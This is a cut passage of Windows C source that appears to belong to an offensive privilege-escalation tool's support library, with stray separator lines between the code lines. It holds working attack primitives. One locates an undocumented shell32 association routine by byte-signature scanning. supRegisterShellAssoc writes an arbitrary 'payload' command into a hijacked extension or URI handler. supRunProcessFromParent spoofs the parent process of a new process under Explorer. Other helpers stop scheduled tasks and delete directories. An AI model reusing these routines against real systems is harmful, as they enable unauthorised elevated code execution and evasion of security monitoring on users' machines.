(CHAR*)SectionTableEntry->Name,
|
||
SectionName,
|
||
SectionNameLength) == 0)
|
||
{
|
||
bFound = TRUE;
|
||
break;
|
||
}
|
||
|
||
i -= 1;
|
||
SectionTableEntry += 1;
|
||
}
|
||
|
||
//
|
||
// Section not found, abort scan.
|
||
//
|
||
if (!bFound)
|
||
return NULL;
|
||
|
||
Section = (PVOID)((ULONG_PTR)DllBase + SectionTableEntry->VirtualAddress);
|
||
if (SectionSize)
|
||
*SectionSize = SectionTableEntry->Misc.VirtualSize;
|
||
|
||
return Section;
|
||
}
|
||
|
||
/*
|
||
* supGetUserAssocSetDB
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return pointer to UAS table and optionally count of entries.
|
||
*
|
||
*/
|
||
PUSER_ASSOC_SIGNATURE supGetUserAssocSetDB(
|
||
_Out_opt_ PULONG SignatureCount
|
||
)
|
||
{
|
||
if (SignatureCount)
|
||
*SignatureCount = RTL_NUMBER_OF(g_UserAssocSignatures);
|
||
|
||
return (PUSER_ASSOC_SIGNATURE)&g_UserAssocSignatures;
|
||
}
|
||
|
||
/*
|
||
* supEnumUserAssocSetDB
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enumerate UserSetAssocDB.
|
||
*
|
||
*/
|
||
VOID supEnumUserAssocSetDB(
|
||
_In_ PSUP_UAS_ENUMERATION_CALLBACK_FUNCTION Callback,
|
||
_In_opt_ PVOID Context
|
||
)
|
||
{
|
||
USER_ASSOC_SIGNATURE* pSignature;
|
||
ULONG i, signCount;
|
||
|
||
BOOLEAN bStopEnumeration;
|
||
|
||
bStopEnumeration = FALSE;
|
||
signCount = RTL_NUMBER_OF(g_UserAssocSignatures);
|
||
|
||
//
|
||
// Iterate through signatures table.
|
||
//
|
||
for (i = 0; i < signCount; i++) {
|
||
|
||
pSignature = g_UserAssocSignatures[i];
|
||
|
||
Callback(pSignature, Context, &bStopEnumeration);
|
||
|
||
if (bStopEnumeration)
|
||
break;
|
||
}
|
||
}
|
||
|
||
/*
|
||
* supFindUserAssocSet
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Locate internal shell routine.
|
||
*
|
||
*/
|
||
NTSTATUS supFindUserAssocSet(
|
||
_Out_ USER_ASSOC_PTR* Function
|
||
)
|
||
{
|
||
HANDLE hModule;
|
||
|
||
PBYTE ptrCode;
|
||
PVOID sectionBase, patternPtr, funcPtr;
|
||
ULONG i, j, signCount;
|
||
ULONG sectionSize = 0, patternSize = 0;
|
||
LONG rel = 0;
|
||
hde64s hs;
|
||
WCHAR szBuffer[MAX_PATH * 2];
|
||
|
||
USER_ASSOC_SIGNATURE* pSignature;
|
||
USER_ASSOC_PATTERN* pPattern;
|
||
PVOID* pTable;
|
||
|
||
Function->UserAssocSet = NULL;
|
||
Function->Valid = FALSE;
|
||
|
||
//
|
||
// Preload shell32.dll
|
||
//
|
||
hModule = (HMODULE)GetModuleHandle(SHELL32_DLL);
|
||
if (hModule == NULL) {
|
||
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
||
_strcat(szBuffer, SHELL32_DLL);
|
||
hModule = (HANDLE)LoadLibraryEx(szBuffer, NULL, 0);
|
||
}
|
||
if (hModule == NULL)
|
||
return STATUS_DLL_NOT_FOUND;
|
||
|
||
//
|
||
// Find text section and remember it boundaries.
|
||
//
|
||
sectionBase = supLookupImageSectionByName(TEXT_SECTION,
|
||
TEXT_SECTION_LEGNTH,
|
||
(PVOID)hModule,
|
||
§ionSize);
|
||
|
||
if (sectionBase == NULL || sectionSize == 0)
|
||
return STATUS_INVALID_ADDRESS;
|
||
|
||
|
||
ptrCode = NULL;
|
||
signCount = RTL_NUMBER_OF(g_UserAssocSignatures);
|
||
|
||
//
|
||
// Iterate through signatures table and try each one for corresponding nt build.
|
||
//
|
||
for (i = 0; i < signCount; i++) {
|
||
|
||
pSignature = g_UserAssocSignatures[i];
|
||
|
||
//
|
||
// If Windows version is match use signatures.
|
||
//
|
||
if (g_ctx->dwBuildNumber >= pSignature->NtBuildMin &&
|
||
g_ctx->dwBuildNumber <= pSignature->NtBuildMax)
|
||
{
|
||
|
||
pTable = pSignature->PatternsTable;
|
||
|
||
//
|
||
// Try all available patterns.
|
||
//
|
||
for (j = 0; j < pSignature->PatternsCount; j++) {
|
||
|
||
pPattern = pTable[j];
|
||
|
||
patternPtr = pPattern->Ptr;
|
||
patternSize = pPattern->Size;
|
||
|
||
//
|
||
// Lookup signature.
|
||
//
|
||
ptrCode = (PBYTE)supFindPattern(sectionBase,
|
||
sectionSize,
|
||
patternPtr,
|
||
patternSize);
|
||
|
||
if (ptrCode) {
|
||
|
||
//
|
||
// Pointer within section.
|
||
//
|
||
if (IN_REGION(ptrCode, sectionBase, sectionSize)) {
|
||
break;
|
||
}
|
||
else {
|
||
ptrCode = NULL;
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
if (ptrCode)
|
||
break;
|
||
}
|
||
|
||
}
|
||
|
||
if (ptrCode == NULL || patternSize == 0)
|
||
return STATUS_NOT_FOUND;
|
||
|
||
//
|
||
// Skip signature bytes.
|
||
//
|
||
ptrCode = (PBYTE)RtlOffsetToPointer(ptrCode, patternSize);
|
||
|
||
//
|
||
// Disassemble instruction and check it to be call sus.
|
||
//
|
||
hde64_disasm(ptrCode, &hs);
|
||
if (hs.flags & F_ERROR)
|
||
return STATUS_INTERNAL_ERROR;
|
||
|
||
if ((hs.len != 5) || (ptrCode[0] != 0xE8)) //call sus
|
||
return STATUS_BAD_DATA;
|
||
|
||
rel = *(PLONG)(ptrCode + 1);
|
||
|
||
funcPtr = ptrCode + hs.len + rel;
|
||
|
||
if (IN_REGION(funcPtr, sectionBase, sectionSize)) {
|
||
Function->UserAssocSet = (pfnUserAssocSet)funcPtr;
|
||
Function->Valid = TRUE;
|
||
return STATUS_SUCCESS;
|
||
}
|
||
else {
|
||
return STATUS_CONFLICTING_ADDRESSES;
|
||
}
|
||
|
||
}
|
||
|
||
/*
|
||
* supRegisterShellAssoc
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Set and register shell protocol.
|
||
*
|
||
*/
|
||
NTSTATUS supRegisterShellAssoc(
|
||
_In_ LPCWSTR pszExt,
|
||
_In_ LPCWSTR pszProgId,
|
||
_In_ USER_ASSOC_PTR* UserAssocFunc,
|
||
_In_ LPCWSTR lpszPayload,
|
||
_In_ BOOL fCustomURIScheme,
|
||
_In_opt_ LPCWSTR pszDefaultValue
|
||
)
|
||
{
|
||
HANDLE classesKey = NULL, protoKey = NULL, assocKey = NULL;
|
||
NTSTATUS ntStatus;
|
||
SIZE_T sz;
|
||
|
||
HRESULT hr = E_FAIL;
|
||
|
||
WCHAR szBuffer[MAX_PATH];
|
||
|
||
if (UserAssocFunc == NULL)
|
||
return STATUS_INVALID_PARAMETER_3;
|
||
|
||
if (UserAssocFunc->Valid == FALSE)
|
||
return STATUS_INVALID_PARAMETER_3;
|
||
|
||
if (lpszPayload == NULL)
|
||
return STATUS_INVALID_PARAMETER_4;
|
||
|
||
ntStatus = supOpenClassesKey(NULL, &classesKey);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
return ntStatus;
|
||
|
||
//
|
||
// Write custom pluggable protocol handler mark.
|
||
//
|
||
|
||
if (fCustomURIScheme) {
|
||
|
||
if (ERROR_SUCCESS == RegCreateKeyEx(classesKey,
|
||
pszExt,
|
||
0,
|
||
NULL,
|
||
REG_OPTION_NON_VOLATILE,
|
||
KEY_SET_VALUE,
|
||
NULL,
|
||
(HKEY*)&protoKey,
|
||
NULL))
|
||
{
|
||
RegSetValueEx(protoKey, T_URL_PROTOCOL, 0, REG_SZ, NULL, 0);
|
||
|
||
if (pszDefaultValue) {
|
||
sz = (_strlen(pszDefaultValue) + 1) * sizeof(WCHAR);
|
||
RegSetValueEx(protoKey, TEXT(""), 0, REG_SZ, (BYTE*)pszDefaultValue, (DWORD)sz);
|
||
}
|
||
|
||
RegCloseKey(protoKey);
|
||
}
|
||
}
|
||
|
||
//
|
||
// Create protocol registry entry.
|
||
//
|
||
_strcpy(szBuffer, pszProgId);
|
||
_strcat(szBuffer, T_SHELL_OPEN);
|
||
_strcat(szBuffer, TEXT("\\"));
|
||
_strcat(szBuffer, T_SHELL_COMMAND);
|
||
|
||
if (ERROR_SUCCESS == RegCreateKeyEx(classesKey,
|
||
szBuffer,
|
||
0,
|
||
NULL,
|
||
REG_OPTION_NON_VOLATILE,
|
||
MAXIMUM_ALLOWED,
|
||
NULL,
|
||
(HKEY*)&assocKey,
|
||
NULL))
|
||
{
|
||
|
||
sz = (_strlen(lpszPayload) + 1) * sizeof(WCHAR);
|
||
|
||
if (ERROR_SUCCESS == RegSetValueEx(assocKey,
|
||
TEXT(""),
|
||
0,
|
||
REG_SZ,
|
||
(BYTE*)lpszPayload,
|
||
(DWORD)sz))
|
||
{
|
||
ntStatus = STATUS_SUCCESS;
|
||
}
|
||
else {
|
||
ntStatus = STATUS_REGISTRY_IO_FAILED;
|
||
}
|
||
|
||
RegCloseKey(assocKey);
|
||
}
|
||
else {
|
||
ntStatus = STATUS_REGISTRY_IO_FAILED;
|
||
}
|
||
|
||
NtClose(classesKey);
|
||
|
||
if (!NT_SUCCESS(ntStatus))
|
||
return ntStatus;
|
||
|
||
ntStatus = STATUS_UNSUCCESSFUL;
|
||
|
||
//
|
||
// Register protocol within the shell.
|
||
//
|
||
if (g_ctx->dwBuildNumber > NT_WIN10_20H2) {
|
||
|
||
hr = UserAssocFunc->UserAssocSet2(UASET_PROGID,
|
||
pszExt,
|
||
pszProgId,
|
||
2);
|
||
|
||
}
|
||
else {
|
||
|
||
switch (g_ctx->dwBuildNumber) {
|
||
case NT_WIN10_19H1:
|
||
case NT_WIN10_19H2:
|
||
case NT_WIN10_REDSTONE5:
|
||
|
||
hr = UserAssocFunc->UserAssocSet2(UASET_PROGID,
|
||
pszExt,
|
||
pszProgId,
|
||
2);
|
||
|
||
break;
|
||
|
||
default:
|
||
|
||
hr = UserAssocFunc->UserAssocSet(UASET_PROGID,
|
||
pszExt,
|
||
pszProgId);
|
||
|
||
break;
|
||
}
|
||
|
||
}
|
||
|
||
if (SUCCEEDED(hr)) {
|
||
ntStatus = STATUS_SUCCESS;
|
||
}
|
||
else if (hr == E_ACCESSDENIED) {
|
||
ntStatus = STATUS_ACCESS_DENIED;
|
||
}
|
||
|
||
return ntStatus;
|
||
}
|
||
|
||
/*
|
||
* supUnregisterShellAssocEx
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Unregister and optionally remove shell protocol.
|
||
*
|
||
*/
|
||
NTSTATUS supUnregisterShellAssocEx(
|
||
_In_ BOOLEAN fResetOnly,
|
||
_In_ LPCWSTR pszExt,
|
||
_In_opt_ LPCWSTR pszProgId,
|
||
_In_ USER_ASSOC_PTR* UserAssocFunc
|
||
)
|
||
{
|
||
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
|
||
HANDLE classesKey = NULL;
|
||
HRESULT hr;
|
||
|
||
if (UserAssocFunc == NULL)
|
||
return STATUS_INVALID_PARAMETER_3;
|
||
|
||
if (UserAssocFunc->Valid == FALSE)
|
||
return STATUS_INVALID_PARAMETER_3;
|
||
|
||
if (fResetOnly == FALSE) {
|
||
ntStatus = supOpenClassesKey(NULL, &classesKey);
|
||
if (!NT_SUCCESS(ntStatus))
|
||
return ntStatus;
|
||
}
|
||
|
||
switch (g_ctx->dwBuildNumber) {
|
||
case NT_WIN10_19H1:
|
||
case NT_WIN10_19H2:
|
||
|
||
hr = UserAssocFunc->UserAssocSet2(UASET_CLEAR,
|
||
pszExt,
|
||
NULL,
|
||
0);
|
||
|
||
break;
|
||
default:
|
||
|
||
hr = UserAssocFunc->UserAssocSet(UASET_CLEAR,
|
||
pszExt,
|
||
NULL);
|
||
|
||
break;
|
||
}
|
||
|
||
if (SUCCEEDED(hr))
|
||
ntStatus = STATUS_SUCCESS;
|
||
|
||
if (fResetOnly == FALSE) {
|
||
if (pszProgId)
|
||
supRegDeleteKeyRecursive(classesKey, pszProgId);
|
||
supRegDeleteKeyRecursive(classesKey, pszExt);
|
||
NtClose(classesKey);
|
||
}
|
||
|
||
return ntStatus;
|
||
}
|
||
|
||
/*
|
||
* supUnregisterShellAssoc
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Unregister and remove shell protocol.
|
||
*
|
||
*/
|
||
NTSTATUS supUnregisterShellAssoc(
|
||
_In_ LPCWSTR pszExt,
|
||
_In_ LPCWSTR pszProgId,
|
||
_In_ USER_ASSOC_PTR* UserAssocFunc
|
||
)
|
||
{
|
||
return supUnregisterShellAssocEx(FALSE,
|
||
pszExt,
|
||
pszProgId,
|
||
UserAssocFunc);
|
||
}
|
||
|
||
/*
|
||
* supResetShellAssoc
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enable/disable explorer policies.
|
||
*
|
||
*/
|
||
NTSTATUS supResetShellAssoc(
|
||
_In_ LPCWSTR pszExt,
|
||
_In_opt_ LPCWSTR pszProgId,
|
||
_In_ USER_ASSOC_PTR* UserAssocFunc
|
||
)
|
||
{
|
||
return supUnregisterShellAssocEx(TRUE,
|
||
pszExt,
|
||
pszProgId,
|
||
UserAssocFunc);
|
||
|
||
}
|
||
|
||
/*
|
||
* supStopTaskByName
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Stop scheduled task by name.
|
||
*
|
||
*/
|
||
BOOL supStopTaskByName(
|
||
_In_ LPCWSTR TaskFolder,
|
||
_In_ LPCWSTR TaskName
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
HRESULT hr;
|
||
ITaskService* pService = NULL;
|
||
ITaskFolder* pRootFolder = NULL;
|
||
IRegisteredTask* pTask = NULL;
|
||
TASK_STATE taskState;
|
||
|
||
BSTR bstrTaskFolder = NULL;
|
||
BSTR bstrTask = NULL;
|
||
VARIANT varDummy;
|
||
|
||
do {
|
||
|
||
bstrTaskFolder = SysAllocString(TaskFolder);
|
||
if (bstrTaskFolder == NULL)
|
||
break;
|
||
|
||
bstrTask = SysAllocString(TaskName);
|
||
if (bstrTask == NULL)
|
||
break;
|
||
|
||
hr = CoCreateInstance(&CLSID_TaskScheduler,
|
||
NULL,
|
||
CLSCTX_INPROC_SERVER,
|
||
&IID_ITaskService,
|
||
(void**)&pService);
|
||
|
||
if (FAILED(hr))
|
||
break;
|
||
|
||
VariantInit(&varDummy);
|
||
|
||
hr = pService->lpVtbl->Connect(pService,
|
||
varDummy,
|
||
varDummy,
|
||
varDummy,
|
||
varDummy);
|
||
|
||
if (FAILED(hr))
|
||
break;
|
||
|
||
hr = pService->lpVtbl->GetFolder(pService, bstrTaskFolder, &pRootFolder);
|
||
if (FAILED(hr))
|
||
break;
|
||
|
||
hr = pRootFolder->lpVtbl->GetTask(pRootFolder, bstrTask, &pTask);
|
||
if (FAILED(hr))
|
||
break;
|
||
|
||
hr = pTask->lpVtbl->get_State(pTask, &taskState);
|
||
if (FAILED(hr))
|
||
break;
|
||
|
||
if (taskState == TASK_STATE_RUNNING) {
|
||
hr = pTask->lpVtbl->Stop(pTask, 0);
|
||
}
|
||
|
||
bResult = SUCCEEDED(hr);
|
||
|
||
} while (FALSE);
|
||
|
||
if (bstrTaskFolder)
|
||
SysFreeString(bstrTaskFolder);
|
||
|
||
if (bstrTask)
|
||
SysFreeString(bstrTask);
|
||
|
||
if (pTask)
|
||
pTask->lpVtbl->Release(pTask);
|
||
|
||
if (pRootFolder)
|
||
pRootFolder->lpVtbl->Release(pRootFolder);
|
||
|
||
if (pService)
|
||
pService->lpVtbl->Release(pService);
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supPathAddBackSlash
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Add trailing backslash to the path if it doesn't have one.
|
||
*
|
||
*/
|
||
LPWSTR supPathAddBackSlash(
|
||
_In_ LPWSTR lpszPath
|
||
)
|
||
{
|
||
SIZE_T nLength;
|
||
LPWSTR lpszEnd, lpszPrev, lpszResult = NULL;
|
||
|
||
nLength = _strlen(lpszPath);
|
||
|
||
if (nLength) {
|
||
|
||
lpszEnd = lpszPath + nLength;
|
||
|
||
if (lpszPath == lpszEnd)
|
||
lpszPrev = lpszPath;
|
||
else
|
||
lpszPrev = (LPWSTR)lpszEnd - 1;
|
||
|
||
if (*lpszPrev != TEXT('\\')) {
|
||
*lpszEnd++ = TEXT('\\');
|
||
*lpszEnd = TEXT('\0');
|
||
}
|
||
|
||
lpszResult = lpszEnd;
|
||
|
||
}
|
||
|
||
return lpszResult;
|
||
}
|
||
|
||
/*
|
||
* supOpenShellProcess
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return handle to shell process.
|
||
*
|
||
*/
|
||
HANDLE supOpenShellProcess(
|
||
_In_ ULONG dwDesiredAccess
|
||
)
|
||
{
|
||
HWND hwndShell = GetShellWindow();
|
||
ULONG processId = 0, desiredAccess = dwDesiredAccess;
|
||
|
||
GetWindowThreadProcessId(hwndShell, &processId);
|
||
if (processId) {
|
||
|
||
if (!(desiredAccess & PROCESS_CREATE_PROCESS))
|
||
desiredAccess |= PROCESS_CREATE_PROCESS;
|
||
|
||
return OpenProcess(desiredAccess, FALSE, processId);
|
||
|
||
}
|
||
|
||
return NULL;
|
||
}
|
||
|
||
/*
|
||
* supRunProcessFromParent
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Start new process with given parent.
|
||
*
|
||
*/
|
||
HANDLE supRunProcessFromParent(
|
||
_In_ HANDLE hParentProcess,
|
||
_Inout_opt_ LPWSTR lpApplicationName,
|
||
_In_ LPWSTR lpszParameters,
|
||
_In_opt_ LPWSTR lpCurrentDirectory,
|
||
_In_ ULONG CreationFlags,
|
||
_In_ WORD ShowWindowFlags,
|
||
_Out_opt_ HANDLE* PrimaryThread
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
DWORD dwFlags = CreationFlags | CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS;
|
||
|
||
HANDLE hNewProcess = NULL;
|
||
|
||
LPWSTR pszBuffer = NULL;
|
||
SIZE_T size;
|
||
STARTUPINFOEX si;
|
||
PROCESS_INFORMATION pi;
|
||
|
||
if (PrimaryThread)
|
||
*PrimaryThread = NULL;
|
||
|
||
RtlSecureZeroMemory(&pi, sizeof(pi));
|
||
RtlSecureZeroMemory(&si, sizeof(si));
|
||
|
||
size = (1 + _strlen(lpszParameters)) * sizeof(WCHAR);
|
||
pszBuffer = (LPWSTR)supHeapAlloc(size);
|
||
if (pszBuffer) {
|
||
|
||
_strcpy(pszBuffer, lpszParameters);
|
||
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
|
||
|
||
size = 0x30;
|
||
|
||
do {
|
||
if (size > 1024)
|
||
break;
|
||
|
||
si.lpAttributeList = supHeapAlloc(size);
|
||
if (si.lpAttributeList) {
|
||
|
||
if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size)) {
|
||
if (UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(hParentProcess), 0, 0))
|
||
{
|
||
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||
si.StartupInfo.wShowWindow = ShowWindowFlags;
|
||
|
||
bResult = CreateProcess(lpApplicationName,
|
||
pszBuffer,
|
||
NULL,
|
||
NULL,
|
||
FALSE,
|
||
dwFlags | EXTENDED_STARTUPINFO_PRESENT,
|
||
NULL,
|
||
lpCurrentDirectory,
|
||
(LPSTARTUPINFO)&si,
|
||
&pi);
|
||
|
||
if (bResult) {
|
||
hNewProcess = pi.hProcess;
|
||
if (PrimaryThread) {
|
||
*PrimaryThread = pi.hThread;
|
||
}
|
||
else {
|
||
CloseHandle(pi.hThread);
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
if (si.lpAttributeList)
|
||
DeleteProcThreadAttributeList(si.lpAttributeList); //dumb empty routine
|
||
|
||
}
|
||
supHeapFree(si.lpAttributeList);
|
||
}
|
||
|
||
} while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);
|
||
|
||
supHeapFree(pszBuffer);
|
||
}
|
||
|
||
return hNewProcess;
|
||
}
|
||
|
||
/*
|
||
* supCreateBindingHandle
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Bind handle to the RPC interface.
|
||
*
|
||
*/
|
||
RPC_STATUS supCreateBindingHandle(
|
||
_In_ RPC_WSTR RpcInterfaceUuid,
|
||
_Out_ RPC_BINDING_HANDLE* BindingHandle
|
||
)
|
||
{
|
||
RPC_STATUS status = RPC_S_INTERNAL_ERROR;
|
||
RPC_SECURITY_QOS_V3 sqos;
|
||
RPC_WSTR StringBinding = NULL;
|
||
RPC_BINDING_HANDLE Binding = NULL;
|
||
PSID LocalSystemSid = NULL;
|
||
DWORD cbSid = SECURITY_MAX_SID_SIZE;
|
||
|
||
|
||
if (BindingHandle)
|
||
*BindingHandle = NULL;
|
||
|
||
RtlSecureZeroMemory(&sqos, sizeof(sqos));
|
||
|
||
status = RpcStringBindingComposeW(RpcInterfaceUuid,
|
||
TEXT("ncalrpc"),
|
||
NULL,
|
||
NULL,
|
||
NULL,
|
||
&StringBinding);
|
||
|
||
if (status == RPC_S_OK) {
|
||
|
||
status = RpcBindingFromStringBindingW(StringBinding, &Binding);
|
||
RpcStringFreeW(&StringBinding);
|
||
|
||
if (status == RPC_S_OK) {
|
||
|
||
LocalSystemSid = LocalAlloc(LPTR, cbSid);
|
||
if (LocalSystemSid) {
|
||
if (CreateWellKnownSid(WinLocalSystemSid, NULL, LocalSystemSid, &cbSid)) {
|
||
|
||
sqos.Version = 3;
|
||
sqos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
|
||
sqos.Capabilities = RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;
|
||
sqos.IdentityTracking = 0;
|
||
sqos.Sid = LocalSystemSid;
|
||
|
||
status = RpcBindingSetAuthInfoExW(Binding,
|
||
NULL,
|
||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||
RPC_C_AUTHN_WINNT,
|
||
0,
|
||
0,
|
||
(RPC_SECURITY_QOS*)&sqos);
|
||
|
||
if (status == RPC_S_OK) {
|
||
*BindingHandle = Binding;
|
||
Binding = NULL;
|
||
}
|
||
|
||
}
|
||
else {
|
||
status = GetLastError();
|
||
}
|
||
LocalFree(LocalSystemSid);
|
||
}
|
||
else {
|
||
status = ERROR_NOT_ENOUGH_MEMORY;
|
||
}
|
||
}
|
||
}
|
||
|
||
if (Binding)
|
||
RpcBindingFree(&Binding);
|
||
|
||
return status;
|
||
}
|
||
|
||
/*
|
||
* supConcatenatePaths
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Concatenate 2 paths.
|
||
*
|
||
*/
|
||
BOOL supConcatenatePaths(
|
||
_Inout_ LPWSTR Target,
|
||
_In_ LPCWSTR Path,
|
||
_In_ SIZE_T TargetBufferSize
|
||
)
|
||
{
|
||
SIZE_T TargetLength, PathLength;
|
||
BOOL NeedSeparator;
|
||
SIZE_T EndingLength;
|
||
SIZE_T i;
|
||
|
||
if (Target == NULL || Path == NULL || TargetBufferSize == 0)
|
||
return FALSE;
|
||
|
||
// Find current target length.
|
||
TargetLength = 0;
|
||
while (TargetLength < TargetBufferSize && Target[TargetLength] != 0)
|
||
TargetLength++;
|
||
|
||
if (TargetLength >= TargetBufferSize)
|
||
return FALSE;
|
||
|
||
// Strip trailing backslash from target, but preserve a lone backslash.
|
||
if (TargetLength > 0 && Target[TargetLength - 1] == TEXT('\\')) {
|
||
// Do not strip if the target is exactly a single backslash.
|
||
if (!(TargetLength == 1 && Target[0] == TEXT('\\')))
|
||
{
|
||
TargetLength--;
|
||
}
|
||
}
|
||
|
||
// Strip leading backslash from path only if target is non‑empty.
|
||
if (TargetLength > 0 && Path[0] == TEXT('\\'))
|
||
Path++;
|
||
|
||
// Find path length (after possible stripping).
|
||
PathLength = 0;
|
||
while (Path[PathLength] != 0)
|
||
PathLength++;
|
||
|
||
// Determine if a separator is needed based on target's last character.
|
||
NeedSeparator = (TargetLength > 0 && Target[TargetLength - 1] != TEXT('\\'));
|
||
|
||
EndingLength = TargetLength + (NeedSeparator ? 1 : 0) + PathLength + 1;
|
||
|
||
if (EndingLength > TargetBufferSize)
|
||
return FALSE;
|
||
|
||
// Insert separator if needed.
|
||
if (NeedSeparator) {
|
||
Target[TargetLength] = TEXT('\\');
|
||
TargetLength++;
|
||
}
|
||
|
||
// Copy the path.
|
||
for (i = 0; i < PathLength; i++)
|
||
Target[TargetLength + i] = Path[i];
|
||
|
||
Target[TargetLength + PathLength] = 0;
|
||
return TRUE;
|
||
}
|
||
|
||
/*
|
||
* supRemoveDirectoryRecursive
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Recursively deletes the specified directory and all the files in it.
|
||
*
|
||
*/
|
||
BOOL supRemoveDirectoryRecursive(
|
||
_In_ LPCWSTR Path
|
||
)
|
||
{
|
||
BOOL bFind = TRUE;
|
||
BOOL Ret = TRUE;
|
||
DWORD dwAttributes;
|
||
HANDLE hFind;
|
||
WCHAR szTemp[MAX_PATH + 1];
|
||
WCHAR FindPath[MAX_PATH + 1];
|
||
WIN32_FIND_DATA FindFileData;
|
||
|
||
_strncpy(FindPath, MAX_PATH, Path, MAX_PATH);
|
||
dwAttributes = GetFileAttributes(Path);
|
||
|
||
if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||
supConcatenatePaths(FindPath, TEXT("*.*"), MAX_PATH);
|
||
}
|
||
|
||
hFind = FindFirstFile(FindPath, &FindFileData);
|
||
|
||
while (hFind != INVALID_HANDLE_VALUE && bFind != FALSE) {
|
||
|
||
_strncpy(szTemp, MAX_PATH, Path, MAX_PATH);
|
||
supConcatenatePaths(szTemp, FindFileData.cFileName, MAX_PATH);
|
||
|
||
//
|
||
// This is a directory, reenter.
|
||
//
|
||
if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
|
||
(FindFileData.cFileName[0] != TEXT('.'))) {
|
||
|
||
if (!supRemoveDirectoryRecursive(szTemp)) {
|
||
|
||
Ret = FALSE;
|
||
}
|
||
|
||
RemoveDirectory(szTemp);
|
||
}
|
||
|
||
//
|
||
// Remove file.
|
||
//
|
||
else if (!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
|
||
|
||
DeleteFile(szTemp);
|
||
}
|
||
|
||
bFind = FindNextFile(hFind, &FindFileData);
|
||
}
|
||
|
||
FindClose(hFind);
|
||
|
||
//
|
||
// Remove the root directory.
|
||
//
|
||
dwAttributes = GetFileAttributes(Path);
|
||
if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||
|
||
if (!RemoveDirectory(Path)) {
|
||
|
||
Ret = FALSE;
|
||
}
|
||
}
|
||
|
||
return Ret;
|
||
}
|
||
|
||
/*
|
||
* supEnumProcessesForSession
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enumerate running processes in given session and run callback.
|
||
*
|
||
*/
|
||
BOOL supEnumProcessesForSession(
|
||
_In_ ULONG SessionId,
|
||
_In_ pfnEnumProcessCallback Callback,
|
||
_In_opt_ PVOID UserContext
|
||
)
|
||
{
|
||
BOOL bStopEnumeration = FALSE;
|
||
ULONG nextEntryDelta = 0;
|
||
PVOID processList;
|
||
|
||
union {
|
||
PSYSTEM_PROCESS_INFORMATION Processes;
|
||
PBYTE ListRef;
|
||
} List;
|
||
|
||
processList = supGetSystemInfo(SystemProcessInformation);
|
||
if (processList) {
|
||
|
||
List.ListRef = (PBYTE)processList;
|
||
|
||
do {
|
||
|
||
List.ListRef += nextEntryDelta;
|
||
|
||
if (List.Processes->SessionId == SessionId) {
|
||
|
||
bStopEnumeration = Callback(List.Processes, UserContext);
|
||
if (bStopEnumeration)
|
||
break;
|
||
|
||
}
|
||
|
||
nextEntryDelta = List.Processes->NextEntryDelta;
|
||
|
||
} while (nextEntryDelta);
|
||
|
||
supHeapFree(processList);
|
||
|
||
}
|
||
|
||
return bStopEnumeration;
|
||
}
|
||
|
||
/*
|
||
* supEnableToastForProtocol
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enumerate registered prog id's for the given interface and enable/disable toast for them.
|
||
*
|
||
*/
|
||
VOID supEnableToastForProtocol(
|
||
_In_ LPCWSTR lpProtocol,
|
||
_In_ BOOL fEnable
|
||
)
|
||
{
|
||
HRESULT hr;
|
||
DWORD celtFetched, dwValue;
|
||
SIZE_T cbName;
|
||
LPWSTR lpProgId, lpValue;
|
||
IAssocHandler* assocHandler;
|
||
IEnumAssocHandlers* enumHandlers = NULL;
|
||
IObjectWithProgID* progId = NULL;
|
||
|
||
if (FAILED(SHAssocEnumHandlersForProtocolByApplication(lpProtocol,
|
||
&IID_IEnumAssocHandlers, (PVOID*)&enumHandlers)))
|
||
{
|
||
return;
|
||
}
|
||
|
||
do {
|
||
celtFetched = 0;
|
||
assocHandler = NULL;
|
||
hr = enumHandlers->lpVtbl->Next(enumHandlers, 1, &assocHandler, &celtFetched);
|
||
if (SUCCEEDED(hr) && celtFetched) {
|
||
|
||
hr = assocHandler->lpVtbl->QueryInterface(assocHandler,
|
||
&IID_IObjectWithProgID, (PVOID*)&progId);
|
||
|
||
if (SUCCEEDED(hr)) {
|
||
|
||
lpProgId = NULL;
|
||
hr = progId->lpVtbl->GetProgID(progId, &lpProgId);
|
||
if (SUCCEEDED(hr) && lpProgId) {
|
||
|
||
cbName = (4 + _strlen(lpProtocol) +
|
||
_strlen(lpProgId) + 1) * sizeof(WCHAR);
|
||
lpValue = (LPWSTR)supHeapAlloc(cbName);
|
||
if (lpValue) {
|
||
|
||
_strcpy(lpValue, lpProgId);
|
||
